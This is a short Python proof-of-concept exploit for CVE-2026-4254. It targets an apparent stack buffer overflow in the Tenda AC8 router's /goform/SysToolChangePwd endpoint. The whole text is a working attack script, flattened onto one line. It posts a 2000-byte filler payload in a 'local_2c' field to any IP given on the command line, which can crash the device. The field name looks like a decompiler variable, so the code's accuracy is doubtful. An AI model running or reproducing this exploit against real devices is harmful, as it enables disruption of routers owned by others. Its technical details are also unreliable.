CVE-2026-4254

#!/usr/bin/env python3 """ CVE-2026-4254 PoC - Tenda AC8 Buffer Overflow in /goform/SysToolChangePwd Target: Tenda AC8 router (firmware <= 16.03.50.11) Vulnerability: Stack-based buffer overflow via local_2c parameter in doSystemCmd function CVSS: 9.8 (Critical) """ import requests import sys def exploit_tenda_ac8(target_ip, target_port=80): """ Exploit CVE-2026-4254 by sending oversized payload to SysToolChangePwd endpoint Args: target_ip: Target router IP address target_port: Target router HTTP port (default: 80) """ # Generate payload with excessive length to trigger buffer overflow # The local_2c parameter is vulnerable when input exceeds buffer size payload_size = 2000 # Adjust based on target firmware overflow_payload = 'A' * payload_size url = f"http://{target_ip}:{target_port}/goform/SysToolChangePwd" # Prepare POST data with vulnerable parameter data = { 'local_2c': overflow_payload, # Vulnerable parameter 'password': 'admin123' # Current password placeholder } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Content-Type': 'application/x-www-form-urlencoded' } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload size: {payload_size} bytes") response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Length: {len(response.text)} bytes") return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <target_ip> [port]") print(f"Example: python3 {sys.argv[0]} 192.168.0.1 80") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_tenda_ac8(target, port)

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